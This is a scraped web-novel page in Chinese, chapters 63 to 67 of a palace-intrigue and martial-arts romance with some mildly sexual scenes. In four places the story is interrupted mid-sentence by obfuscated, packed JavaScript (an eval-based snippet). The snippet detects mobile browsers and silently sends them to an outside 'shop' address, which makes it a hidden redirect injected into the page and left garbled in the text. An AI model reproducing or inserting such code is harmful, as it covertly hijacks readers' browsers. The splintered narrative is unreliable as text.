$(''#content'').append('' p>季褚准备装傻充愣糊弄过去,但凤倾城可是**如麻的女将军,哪有那么好糊弄。 刚刚也只不过是没见识过这等无赖,一时间乱了分寸罢了,这会儿早就回过神来。 “新婚之夜,无外乎两种可能,一种是太子假装醉酒,不来本宫寝殿。第二种,给本宫下药,然后遣人与本宫同房,事后太子假装不喜本宫,再不与本宫同房。 季少保觉得我那大姑姐和太子会用哪招对付本宫?” 季褚闻言,只觉一阵头皮发麻。 我滴个老天奶,咱武艺超群就算了,小脑袋瓜蠢一点不行吗?你这个样子,令臣压力很大啊! 理论上来讲,李清瑶和太子这事儿办的确实不地道。 但那也只是理论,事关皇位,又关生死,她们也不得不那样做。 可同情归同情,有些话,他是真的不能说啊! “罢了,本宫也不逼你,不管他们用哪种方法,你想办法,把这件事揽下,我相信季少保有这能力。 还有,你之心意本宫已然了解,好好为本宫做事……好,好处少不了你的,退下吧!” “喏!” 季褚深吸一口气,匆匆向外走去。 凤倾城最后一句话他听明白了。 这饼画的,绝对又白又软。 但想吃到,就必须踩着刀尖,稍有不慎便是万劫不复。 因为帮助太子洞房这事儿肯定是躲不过去了。 现在来看,他们都是一条绳上的蚂蚱。 可一旦太子登基,局势肯定立马扭转。 到时候,他是等着太子除掉知道太多的自己和凤倾城? 还是帮助凤倾城除掉李清瑶和太子,最后被她一块杀掉灭口? 好像怎么看,都是死。 季褚心事重重的走出府门,看到立在马车旁的赵子衿,突然一拍脑门。 我特么不有病么? 将来的事儿还远着呢,考虑那么多作甚? 谁想干我,我就干谁,大不了来他个黄袍加身,管她李清瑶还是凤倾城,统统给朕当爱妃。 赵子衿一脸狐疑,“大人,是有什么好事吗,何故发笑?” “咳咳,有劳爱……爱妻了。” “大人……”赵子衿臊的俏脸一红,“子衿怎配大人一声爱妻。” “怎么不配,朕……咳,我说你配你就配,咱现在有钱了,回了京就买宅子,到时候我便风风光光娶你进门。” 赵子衿心里暖的不要不要,“大人若是这般,子衿这便离开。” 季褚哭笑不得,“你这女子怎的这般,我现在可是二品员,难道还配不上子衿?” “伯赢心意子衿自知,但子衿出身卑微如何配得上伯赢正妻名分,况且当了伯赢的妻,便要操持府内中馈,子衿还如何长久陪伴左右保护伯赢。” 季褚四下看了看,确认周围没人,捧起赵子衿的脸吧唧就是一口。 “大人……你你你……” 赵子衿用力一跺脚,耳根子都红了。 季褚抿嘴一笑,“回府吧,好生休息,晚上带你看节目。” 第63章 好色……呸,艺术这玩意,不分时空啊 傍晚,整个长葛可谓是陷入了一片欢乐的海洋。 大红灯楼高高挂起,衬的那早就挂好的彩带广告更显五光十色。 此刻,吕府门口早就搭建好的戏台周围,已然是里三层,外三层围满了看热闹的百姓。 吕府院墙最佳的观影位置也早就为凤倾城布置妥善。 季褚更是早早把竹儿打发过去近前伺候。 而且有韩江雪,禁卫军统领,北军将官负责治安,安全感那也是拉的满满的。 高士奇猫腰走到台子侧方乐师处,小声道:“大人,吉时已到。” 季褚抬头看了一眼吕府院墙,点了点头,“那就开始吧!” 随着duang的一声铜锣响起。 旁边的清倌儿指尖翻飞,琴弦迸发出清泉般的音符。 季褚也敲起了这几日重金打造的架子鼓。 “戏幕开戏幕落,低眉将水袖轻弄,台下看官攒动,只为睹佳人惊鸿……” 伴随着时而婉转时而欢快的女声大合唱响起,早就准备好的舞女闻声而动,水袖如云卷舒,腰肢旋作柳絮纷扬。 转手向上,右扭左扭,连续摆胯。 右脚迈开,蹲,继续右左右左……摸胯,摸熊,摆肩…… 她们各个头蒙面纱,身材妖娆,舞姿轻盈,可是给下面的看官老爷们看傻眼了。 “刺激!” “太刺激了。” “曲好,舞更好!” “听说舞曲都是季大人的手笔,你们瞧,那个古怪乐器前敲鼓的就是季大人。” “季大人太懂男人了……” “呸,堂堂朝廷命官,光天化日……简直有辱斯文……” “你丫别看不好么……” “就是,季大人这叫与民同乐,这叫接地气。” “老夫哪里看了,老夫分明是想用批判的目光记下眼前荒唐的一幕!” 一曲《难却dj》瞬间引爆全场。 也让季褚暗暗松了口气。 身为十项全能资深网红,季褚是懂欣赏的。 但说实话,起初他还真有点担心,自己的艺术细胞无法撼动这个时代故步自封的内心。 尤其是下面那帮老色批,兴奋的口水都快流出来了。 这说明什么? 说明好色……呸,艺术这玩意,不分时空啊。 十场节目,每一场间隔中都会插播一条精心编排的赞助商广告,人家花了钱,自然得物超所值。 当然,也是为了拉一下时长,不然十个节目演的太快,白瞎了那么搞那么大的阵仗。 整整一个时辰,曲终了,但人还未散,路边摆摊的摊贩也趁机大赚一笔。 “这个季少保倒是个妙人,诗词,舞曲,阴谋诡计样样精通,就是不知道还有没有他不会的。”凤倾城也是有点意犹未尽。 听她夸赞自己未来夫君,竹儿心里美滋滋的,“太子妃殿下,确实也有季少保不会的东西!” “哦?”凤倾城瞬间来了兴趣。 “他不会武艺,怎么学都学不会,而且他还不会钓鱼,用他的话来说,这叫人菜瘾大,抓了一池子鱼给他钓,他都钓不上来。” “咯咯咯咯……”凤倾城掩嘴轻笑,“倒是有趣,季少保平时对你们这些婢女如何?” “很是平易近人,他很不一样。”竹儿目光灼灼的看着台子上正在交代后事的季褚,嘴角不禁噙起一抹淡淡的微笑。 凤倾城也笑了,但却笑的意味深长。 “回去吧,你去通知季少保,让他过来见本宫。” “喏!”竹儿躬身,目送太子妃一行离开,也匆匆顺着台阶下了院墙。 “大人,喝杯茶润润喉。”见季褚交代完,赵子衿端着一杯温茶递了过来。 “谢谢!”季褚笑笑一饮而尽,满城的喧哗,明媚的佳人,令他不由得诗兴大发。 “东风夜放花千树,更吹落、星如雨。 宝马雕车香满路。 凤箫声动,玉壶光转,一夜鱼龙舞。 蛾儿雪柳黄金缕,笑语盈盈暗香去。 众里寻他千百度,蓦然回首,那人却在,灯火阑珊处。 子衿,有你真好。” “大人……有人……” “那又如何,谁敢说本官的闲话?”季褚环顾四周,本想在佳人面前装个逼,顺便夯实一下好感度,却发现好似装的有点大了…… 大家似乎都被他刚才的诗震惊到了,全都一脸呆滞直勾勾的看着他。 瞬间,季褚的脸蓦的一下红到了耳后根,清了下嗓子,赶紧拉着赵子衿下了台。 季褚本想带赵子衿逛逛夜市,给她买点小零嘴。 竹儿这时却匆匆赶了过来。 “竹儿,你怎么回来了,不是让你伺候太子妃殿下吗?” 竹儿没好气的看了一眼赵子衿,随即说道:“太子妃殿下召见,快点和我来吧!” “看上什么买什么,不用给我省钱。”季褚随手从怀里掏出一把碎银子塞给了赵子衿,而后快步跟上了竹儿。 “季少保现在出手很阔绰呀?什么时候也赏竹儿点银子花花。”竹儿酸酸道。 季褚也是哭笑不得,又摸出一把碎银子塞给了对方,“拿去花!” 竹儿撇撇嘴把手避开,“君子不食嗟来之食。” “可你是女子呀!” 竹儿瞬间就是一愣,等她缓过神来,银子已经到了手里。 “太子妃的观影体验如何?” “看着挺开心的。” 季褚点了点头,“那我就放心了,有说找我做什么吗?” “那倒没有。” 说话间,二人已经进了府门。 来到后院,竹儿便被蒹葭拦住,“殿下说了,季少保一个人进去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17180895|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你且等我片刻,我去去就来。” 说完,季褚抬腿进了后院。 穿越过假山,就见凤倾城一身劲装。 衣料紧贴腰身,将那惹火的极致身材勾勒的淋漓尽致。 好一个腚大腰细,山峰俏。 此刻她,双手按在一把**上,威风凛凛的站在那里,简直又美又飒。 可季褚心里却咯噔一下,赶忙顿住了脚步,“殿下,这大晚上的,又闹哪出?” 凤倾城嘴角噙起一丝若有若无的笑意,“听闻季少保想要习武?本宫最擅厮杀,你可愿拜本宫为师?” 季褚瞬间亚麻呆住,甚至有点不敢相信自己的耳朵。 大晚上的,你,太子妃殿下,叫我一个外臣过来,收徒? 这女人,脑子里装的啥呀! 咱还能更离谱点吗? 正所谓一日为师,终身为父。 季褚今日的大胆,已经超出了凤倾城的想象。 她并不觉得只凭那首诗就能彻底拿捏住季褚。 刚好得知季褚想习武,这不巧了吗? 她武艺超群,新兵蛋子到她手里,无需多久,就能被她操练成战兵。 只要有了师徒情意在,还愁季褚不能为己所用? “怎么,你莫非是不相信本宫的武艺,那本宫就让你见识见识。” “不不不……” 说时迟,那时快,季褚只觉眼前寒光一闪,身边碗口粗的大树应声斩断。 咕咚! 季褚呆麻了。 尼玛,这么厉害的吗? “你可愿意拜本宫为师?” 我敢不愿意吗? 我敢吗? 刚才那是啥,大刀片子贴着脑袋皮搜的一下啊…… 但凡稍微往下那么一丢丢,那就直接可以开席了,而且菜都是现成的,热乎乎的季脑,拿个勺就能吃。 季褚擦了擦额头上的冷汗。 似乎,学一学战场厮杀的本事也没坏处。 毕竟,韩江雪,赵子衿教的太难了。 他感觉自己应该是比较适合那种大开大合的招式…… 想明白这一点,季褚也不含糊,立马拜师行礼,“师父在上……请您狠狠地操练徒儿吧!” 凤倾城满意的点点头,来到季褚身边走了一圈。 顺便拍了拍季褚肩膀,踢了踢季褚小腿。 “倒是个上阵杀敌的好兵。”她满意的笑了笑,“把衣服脱了。” “啊?” 凤倾城俏脸一红,“想什么呢,快点脱,你穿着官服施展不开,今天本宫先教你一招斩破苍穹。” 嘶…… 斩破苍穹! 一听这名字,季褚就知道这招老厉害了。 三下五除二便将官服脱下,顺便勒了勒腰带。 “师父,好了……狠狠地操练我吧!” 第64章 吾徒,已有超越大宗师之姿 凤倾城点了点头,而后示意季褚扎了个马步。 可看完季褚的马步,她却微微蹙眉走到了季褚面前,一股好闻的馨香顿时扑面而来,“战场厮杀和江湖缠斗不同,你这马步不对。” 季褚心头狂喜,看看,看看,高手一出手,就只有没有,这就叫专业。 他就说,就自己这聪明的大脑袋瓜子,怎么可能是个习武废柴,肯定是韩江雪她们教的不对 “还请殿下指点一二。”季褚期待道。 凤倾城点了点头,接着,季褚便感觉腿肚子被人踢了一下,“挺直腰板,吸气如灌温水,沉到小腹鼓起来,下蹲……对,再下蹲……蹲啊!” “殿下,蹲不下去了……” 凤倾城抬起手,直接按住了季褚两边肩膀。 季褚瞬间想到了一个词,泰山压顶……而且泰山之上,肯定开满了鲜花。 这时,就听凤倾城道:“马步马步,你得想象自己胯下骑着战马,闭上眼用心感受……” 季褚赶忙照做。 你别说,你还真别说,也就是开始的时候感觉韧带拉扯的有点疼,可按照她的法子蹲久了,丹田之内那团始终调不动的气,竟然化作涓涓细流开始游走。 觉察出了他的变化,凤倾城眼底闪过一丝不易察觉的得意。 天下哪有蠢笨的徒弟,只有教不会好徒弟愚师。 而季褚此刻已经完全沉浸进去。 这些日子他也做了一下自我总结,如果说人是一台车,那么丹田就是油箱,而那些气就是汽油,汽油多少,决定这台车能开多远。 招式则等同于你这台车到底是法拉利,还是小迷你。 在他看来,这个世界的人,还停留在把气当汽油用的初始阶段,正需要他这位位面之子来改变世界。 可现实狠狠抽了他一巴掌。 人家那台车起码还有油门踏板,能控制速度,他这台破车油门线直接焊死,压根调动不了一点。 可现在,焊点开了,而且他甚至能随意控制油箱里的汽油。 转眼,两炷香时间过去了。 眼看季褚还要继续扎下去,凤倾城也有点着急了,毕竟时间已经很晚,明日还要动身前往京城。 晚上的接待外臣已是逾矩,若再拖延,传出去怕是要惹人非议。 “可以了,本宫先把招式交给你,你且回去勤加练习。”凤倾城提醒道。 “是,师父!” 季褚这声情真意切的师父叫的凤倾城相当满意,点点头,“你且看着……” 她深吸口气,提起大刀开始演示,顺便将技巧要诀,一一详细说明。 月华如练,倾洒于庭院之中,映照出她曼妙轻盈的身影, 翩若惊鸿,每一次转身都似在夜空中绽放的烟火,绚烂而夺目。 动如游龙,仿佛一条灵动的蛟龙在月下翻腾,带着无尽刚劲又柔美。 那纤细的腰肢,盈盈一握,似柳枝随风摇曳,尽显风韵。 那修长的双腿,线条流畅,在月光下闪烁着迷人的光泽,仿佛每一步都踏在人心弦上,叫人移不开眼睛。 说是一招,但其实有一整套防御躲闪的前摇,就在你以为不过如此时,“斩破苍穹”作为杀招一刀要了你的狗命。 “看清楚了?” “不是很清楚,劳烦师父再练两遍!”季褚眼神炙热的说。 凤倾城倒是也没多想,“好,你且看着。” …… “看清楚了吗?咦,你怎么还坐下了?” “坐下记得快,师父继续。”季褚心里暗笑,人美,武更美,简直就是艺术。 艺术,不就是用来欣赏的么? “好吧,最后一遍了,天太晚了,实在学不会,那也只能再寻机会。” 凤倾城足足练了五遍,即便是她这样的高手也已是香汗淋漓。 本就紧身的练功服被汗水打湿,那种视觉冲击,懂的都懂。 “好了,你练一遍,我帮你指点一下就回去吧!”凤倾城走上前,把刀递给了季褚。 “有劳师父了。” 老话说的好,天底下没有学不会的东西,只是方式方法不对。 就好比好多学校,专门请美女老师整上丝黑诱惑讲课,学生成绩眼瞅着一路飙升。 季褚用欣赏艺术的眼神,几乎将她每一帧都记的清清楚楚。 接过刀的瞬间,那一幕幕招式就跟幻灯片一样快速在脑海中演绎。 人随片动。 看的凤倾城顿时有点小傲娇的想道:“看来本小姐果然有名师名师之姿。 如此蠢笨如猪的徒弟,不也学的有模有样。” 季褚此刻已然进入了一种忘我境界。 九年义务教育,教会我们的不只有识字,做人道理。 还有……可以看懂小说了啊! 感受着体内那源源不断被调动的力量,季褚开始尝试将力量灌入刀身。 果然,就像是小说里写的那样,瞬间和刀建立了某种联系。 我既是刀,刀既是我。 那是一种无法用言语形容的感觉。 凤倾城一直在旁盯着,突然觉察到一丝危险气息,“嗯?这是……糟糕,住手,我的刀……” 下一秒,就见季褚挥刀砍向了假山。 凤倾城心里咯噔一下,刀砍石头,完了……再硬的刀肯定也会崩刃…… 可紧接着,她便张大了那鲜红的樱桃小嘴。 一刀落下,那山一角就好似豆腐一样,竟被斜着切下一块,啪叽一声摔的四分五裂。 “小爷我成了。”季褚狂喜,大口大口喘着粗气。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17180896|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >虽然这一招直接清空了他的丹田。 但他的丹田已经从汽车油箱,晋升成了蓝条。 蓝条啊! 质的飞跃。 “你,你是怎么做到的?”一阵香风拂面,凤倾城已经来到了跟前。 季褚呲牙一乐,“那不是有手就会。” 他想说的硬气些,奈何打上了虚弱buff后,说出来的声音显得很是绵软无力。 可听在凤倾城耳朵里,分明就是不骄不躁,稳重的表现。 她迫切的想要知道如何才能斩出这般刚猛的一刀,但考虑到自己刚收徒,身为师父,终究没好意思开口。 点了点头,“不错,吾徒,已有超越大宗师之姿。” 季褚:…… “好了,你先回去吧,勤加练习,有机会为师再传你几招。” “谢谢师傅。” 季褚感觉自己两个眼皮子都开始打架,把刀往地上一插,捡起衣服穿好便告辞离开。 目送对方远去,凤倾城赶忙拿起刀查看了一番,屏气凝神,使出全力,叮的一声劈在了假山上,然后……刀卷刃了。 凤倾城咕咚一下咽了唾沫,“莫非今日,他真的手下留情了?” 抚摸着那光滑的切面,凤倾城莫名想到了那首诗,蓦的一下,娇艳的红霞直接染到了耳垂,“这逆徒该不会真的对为师一见钟情了吧?不然……明明有这般强大的实力,为何要拜我为师……” “殿下,在想什么呢?” “啊,无事,季少保走了吗?” “已经走了。” “那便沐浴就寝吧!” …… 马车里。 季褚刚坐下,便彻底萎靡不振,直挺挺的栽倒下去。 竹儿早就发现了季褚面色不对,见状,立马往旁边挪了一下,扶着季褚靠在自己肩上,顺势抓住了他的手腕。 刚一入手,竹儿便面色一变,“大人,刚刚发生何事?您的丹田为何空空如也?” “练功……”季褚人虚弱,但心情好啊,嘿嘿一乐便彻底失去了意识。 他不说练功还好,一说练功,竹儿脑海里顿时浮现出了一个可怕的画面。 太子妃是邪修。 然后发现了季褚身上的秘密,这才将季褚单独叫走,施展魅惑手段,吸干了他一身功力。 否则,根本无法解释,一个丹田封闭的人,突然被清空。 季褚方才憨傻的嗤笑,可不就是中了魅术的表现吗。 “怎么了?”在外驾车的赵子衿问道。 竹儿秀眉紧蹙,“季大人被人吸干了。” “什么?”赵子衿大惊失色,掀开车帘,就见季褚已经倒在竹儿肩上昏迷了。 “太子妃很有可能是个邪修,速速回府,这事儿还得交给郡主定夺。” 第65章 我的脑补怪群友,太子妃被妖魔化 长葛后衙。 听完竹儿的描述,韩江雪同样吓了一跳。 武者的气机很敏锐,她早就觉察出了凤倾城的不简单。 但身在北地,常年与北戎有人有摩擦,女子习武也很正常。 可如果凤倾城是邪修,那她入宫这件事,就很值得推敲了,必须得提前告知公主和太子,早作防范。 当然了,写信的事儿不急,现在急的是季褚的安危。 对武者而言,丹田空了,休息休息慢慢就能恢复,可问题是现在的季褚完全就是一滴不剩。 面如蜡纸,气若游丝,稍有不慎便是灯灭人死。 “竹儿,可有办法治好?”韩江雪着急道。 竹儿红着眼眶摇了摇头,“无,只能尽人事,听天意。” “那我与他双修呢?”赵子衿坐在床头,已然是泪如雨下。 “万万不可!”竹儿道:“他的丹田就如同快燃尽的蜡烛,风稍微大点便会被吹灭,你太强了,不行!” 这话一出,二人的目光刷刷看向了竹儿。 “竹儿,你不是很喜欢季褚吗,不如你来。” “对对对,竹儿姐姐,拜托了,我这便传你双修之术。” 竹儿愕然的看着二人,随即腾的一下红了脸。 看着气若游丝的季褚,不禁想起了这段时间的朝夕相处。 “竹儿,你来吧,回了京我便请公主赐婚,季褚若敢负你,我一定割了他当太监。” “你敢!”赵子衿怒目看向了韩江雪。 “赵子衿,你放肆!” “郡主武艺高强,可子衿搏命,你也未必能讨到好处。” 眼瞅着二人就要剑拔**张,竹儿整个人都懵了。 我是谁,我在哪儿? 我不是正在害羞吗? “咳,够了!”竹儿深吸口气,站起身福了一礼,“郡主,季大人的命要紧,还请您暂且回避。” 说完,又看向赵子衿,“赵娘子,烦请传我双修术。” 韩江雪嗫嚅了两下,轻哼一声,快步出了房间。 赵子衿关上门,然后开始详细讲解双修之术,但无法引动气机手把手的教学,短时间内根本无法掌握。 最后二人一拍即合,赵子衿在旁打辅助,随时介入指点。 很快,药浴用的浴桶便摆在了屋子中央。 季褚这会儿睡的正香,恍惚间一阵失重传来,令他下意识掀开了沉重的眼皮,发现自己正被赵子衿公主抱抱着,一股莫明的羞耻感瞬间涌上心头。 “子衿……。” “伯赢,先不要开口,保存气力。” 说话间,直接就把季褚放进了浴桶。 季褚还以为她要与自己修炼,心里还挺高兴的,毕竟他现在缺的就是气力,正好补充一波。 可看清浴桶里的人,季褚整个人都呆麻了。 此刻的竹儿整个身子都浸泡在水中,只露着一个小脑袋,褐色的浴汤下,少女白皙玲珑的曲线,反倒是更加惹眼。 伴随着氤氲升腾的热气,竹儿一张小脸,就好似蒸笼里的大虾,红的娇艳,红的让人蠢蠢欲动。 虽说早就准备好了,可真到关键时刻,少女的羞涩令竹儿脑袋里一片空白。 最后还是赵子衿提醒,竹儿这才回过神来。 咬着下唇慢慢的靠了上去,“季,季郎,你先把眼睛闭上。” “不要过来,你不要过来啊……”季褚可谓是慌得一比,压根不清楚发生了什么。 但他知道,碰了竹儿肯定有大恐怖发生。 他想呼救,然而这虚弱的身子一紧张,竟然一句话都说不出来。 竹儿一手搂住季褚脖子,一手抓着他的手搂住自己的已然滚烫的身子,随即缓缓闭上眼,凑上了温热的唇瓣。 她的唇很热。 正如她那光滑细腻的肌肤,充满了柔软与让人心跳加速的悸动。 而她手里的那只手也在不安分的摆动,很快季褚稀里糊涂便陷入了对方的甜蜜陷阱。 竹儿嘤咛一声,秀眉痛苦的蹙了一下,“子衿,帮我……” …… 一个时辰后。 窗外月色依旧,室内暖香氤氲。 可听完赵子衿的讲述,季褚脑袋皮都麻了,赶忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184477|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道:“快快快,去找韩大人,问问她有没有和公主汇报此事,误会,都是误会!” “何来误会?太子妃都把你吸干了,这也叫误会,伯赢,你冷静一下,不要被她迷了心窍!” “真的是误会……”季褚深吸口气,赶紧把事情的经过说了一遍。 闻言,赵子衿瞬间惊的目瞪口呆,“你的意思是,太子妃教你刀法,然后你突然发现自己能调动丹田里的气,然后将气附着到了刀身之上,然后……” “对!”季褚道。 “不可能,绝对不可能。”竹儿从榻上撑起身,看向浴桶里二人,“从古至今,我还没听说过谁能把内劲外放。子衿,你可听说过?” “我也没听说过。”赵子衿斩钉截铁道。 “对啊,伯赢,你肯定是中了魅术,而今日太子妃问过我一些问题,我一不小心就把你想迫切习武的事说了出来。 然后她便让我唤你,再然后,我被拦在了外面,她却单独召见你。 堂堂太子妃,深夜召见外臣本就不合礼仪,而且你足足待了半个时辰才出来。 所以说,你肯定是中了她的魅术,把你内心最渴望的东西勾了出来,那都是她想让你看到的。 现在回想一下,我当时很有可能也中了对方魅术,这才稀里糊涂把你的底细泄露出去。 如此看来,这太子妃很不简单!” 季褚呆愣愣的看向竹儿,见她一副信誓旦旦。 又看向了面前的赵子衿,见她也是一副肯定如此。 突然就不自信了。 难不成我真中了幻术,稀里糊涂就被太子妃给……那个了? 听着似乎很合理,但……她有必要整的这般复杂吗? 倘若她真有这么厉害,当时直接使用魅术,还用花五万两买诗? “对对对,钱,竹儿,你看看我衣服内衬里面有没有银票。” 竹儿拿起衣服随便一番,便翻出了一大把银票。 “一万,一万……五千的……三千的……”竹儿一张一张数,眼睛都瞪圆了。 季褚暗道糟糕,我的小金库被发现了。 第66章 十年运道龙井困,一朝得势入青云!回京 “你,你就看有没有五万两的。” “有!” “那你们肯定误会人家了,之前都只是你们的异想天开,哪里有那么厉害的魅术,太子妃只不过稍微会点行伍功夫,指点了我一二。 我的情况你们又不是不知道,之前肯定是法子错了,江湖招式无法牵动我的气,但行伍的功夫可以。 所以,我其实是百年一遇的习武奇才,刚能牵动气劲便自创了惊天地,泣鬼神的一招,只不过火候没掌握好,差点力竭而亡。 我知道你们关心我,可太子妃殿下那么好的人,哪能这样冤枉人家!” 这话一出,竹儿瞬间涨红了脸,如果打一开始就是她们异想天开,那刚刚的自己…… 啵的一声。 季褚伸手拿起浴桶旁架子上的衣服,“子衿,速去与郡主说明。” “好,好吧!” 赵子衿也是尴尬的要死,迈步出了浴桶,“那子衿今晚就不过来了,伯赢好生陪陪竹儿姐姐。” 说完,披上衣服便匆匆离开。 见季褚朝着自己看来,竹儿只恨面前没个缝。 季褚同样很尴尬,如今自己的家底可都在对方手里握着。 四目相对。 季褚刚张嘴,竹儿猛的一扬手里的银票,“季褚,你好大的胆子,竟然背着公主贪了这么多银子,你该当何罪。” 先声夺人,自己必须先声夺人,不然太尴尬了。 季褚就知道要遭,迈出浴桶便走了过去,准备和她好好掰扯掰扯,自己是如何一笔一捺赚的这些钱。 “你,你不要过来……”竹儿面红耳赤,赶忙把头扭到了一旁,顺便拉下帷幔挡住了自己。 见她这般色厉内荏,季褚心里一乐,也没了掰扯的心思,反而幽幽一叹坐在了对方身旁。 “十年运道龙井困,一朝得势入青云。 竹儿,如今我虽成了二品大员,可那点俸禄够干嘛的? 居京城,大不易,我那点俸禄怕是连座小宅子都买不起吧! 我呕心沥血赚这点钱,为了谁,还不是为了咱们这个家,为了咱们以后的孩子,不像他爹我一直寄人篱下。” 竹儿瞬间就被她这先扬后抑的一段话给干懵了。 感觉自己太过分了。 虽然总觉得哪里不太对。 可看到季褚说完后那一脸落寞的样子,就好似有什么东西,狠狠抓住了她的心脏。 “季郎,是竹儿不好。”竹儿轻咬了下唇,凑上前小心翼翼抱住了季褚的腰,见他没推开自己,慢慢把头靠在了他的背上,“我,我并非真的要告状,我……我刚刚只是因为误会了太子妃,然后我们……我不知如何自处…… 季郎,竹儿知道错了。” 季褚是懂乘胜追击的,反手将竹儿揽入怀中。 竹儿怯怯的趴他怀里,一张脸涨的通红通红。 季褚呼出来的热气吹在发顶,她感觉自己都要被烧穿了。 “季郎,再,再要竹儿一次吧!” 带着颤音的话说完,竹儿感觉自己的心跳都慢了半拍。 可季褚迟迟没有动作,她又不得不抬头看去,“就,就当惩罚了,好不好?” 嫩到能掐出水来的呆呆妹儿,差点没给季褚整破防。 “竹儿也是为了救我,我怎舍得惩罚竹儿,以后不许再说这样的话。” 闻言,竹儿莫名一阵失望,可刚要低头,下巴却被季褚轻轻托起,“我只会奖励竹儿姐姐。” 春宵一刻值千金,各位看官没有金,自然不给看。 …… 翌日。 季褚已然龙精虎猛,今日便要回京,为此他还特意换身盔甲,挂了把刀在腰间。 而得知季褚会同太子妃车架一同离开,长葛的百姓一大早便自发汇聚到城门口送行。 甚至有几名老者送上了一把万民伞。 见状,季褚略有深意的看了高士奇一眼,赶紧跳下战马迎了上去。 老头被俩人搀扶着,走起路颤颤巍巍,浑浊的眸子,更是布满了泪花,隔着老远便喊了起来,“大人啊,您怎么就走了呢!” 季褚:…… 咋感觉是那个走呢? “大人,您的恩情长葛百姓还不完啊……” 季褚赶忙拖住了老人的手,“这都是我应该做的,您老不必如此。” “老朽活了这么大年纪,昨晚算是开了眼……” “咳,老伯……跑题了。” “咳,还请您收下这把万民伞,这是我们长葛百姓的一番心意。” “来来来,大家都给季大人磕头……” 季褚面皮一抽,好家伙,亏他还以为是自发行为,闹半天这都是有人安排啊。 一扭头,正好瞧见高士奇躬身赔笑。 季褚忍不住抽了抽嘴角,老高的路子是走宽了,可明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184478|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显也走偏了啊! “诸位快快请起,伞我收下了,咱们来日方长,高大人,长葛的百姓可就交给你了,我在京城也会关注长葛,不要让朝廷失望。” “下官谨遵大人教诲。”高士奇暗暗松了口气。 他也不想整这一出,可思来想去,唯有再搞一把万民伞才能将**的影响消弭干净。 否则的话,万一回京后有人拿**出来说事儿,季褚岂不是如鲠在喉? 他如鲠在喉了,自己这些日子的努力不白废了。 说着,他对一旁手下使了个颜色,立马有人抬着一个坛子走了过来。 季褚脸瞬间黑如锅底。 “高大人,这是什么意思?” “大人不要不会,这是咱长葛的特产阿胶,同样也是咱长葛百姓的一番心意。” 季褚瞬间恍然,“原来如此,既然是百姓的一番心意,那本官就破例收下了,不过下不为例啊!” “你们几个将东西装上车。”高士奇指挥人把东西装好,“此物乃是大补之物,还请大人慢慢品之。” “有心了,你也保重吧!”季褚抱了下拳,然后翻身上马,率领身后数十骑朝着城外远去的车队追去。 醉仙楼上。 孙诩紧紧握拳,咬牙切齿的看着这一切。 这些日子他便寻摸刺杀季褚的机会,然而季褚每次出行,身边都有高手跟随。 他也试图派人接近过府衙,可府衙那边更加离谱,里三层外三层守的跟个龟壳一样。 让他这头嗜人的猛虎,压根找不到下嘴的地方。 他活这么大年纪,尚未见过这般贪生怕死之徒。 如今出了城,机会就更加渺茫了。 一千禁军,五百公主府亲卫,五百北地厮杀出来的铁军。 而且半数之多都是骑兵…… 前些日子三百人埋伏刘公公一百多人,全军覆没。 如今他能调动的也不过区区两百人,面对十倍于几的敌人,怕是都不够人家一个冲杀的。 就在他准备下楼,两台豪华马车缓缓驶到了城门口,身后还跟着不少仆人婢女。 孙诩一眼就认出了那是宋府的马车。 而且宋管家,宋夫人身边的贴身婢女春儿都在,马车里坐的是谁,不言而喻。 孙诩眼睛微眯,“还真是踏破铁鞋无觅处,得来全不费功夫啊,季褚啊季褚,今晚就是你的死期。” 第67章 韩江雪**箭,季大人嘬嘬解毒 时间在赶路中悄然流逝,转眼就到了傍晚。 随行的禁军统领请示完太子妃,又和季褚商量了一下,决定就地扎营休息一晚,毕竟赶了一天的路,人和马都要休息。 等一切安顿妥善,天已经彻底暗了下来。 季褚刚深入一线,巡视了一圈回到帐篷,就见帐篷里站着一个小厮打扮的陌生人。 “竹儿,这位是?” “大人,这是宋府家丁,说是宋夫人请你扎完营过去一叙。” 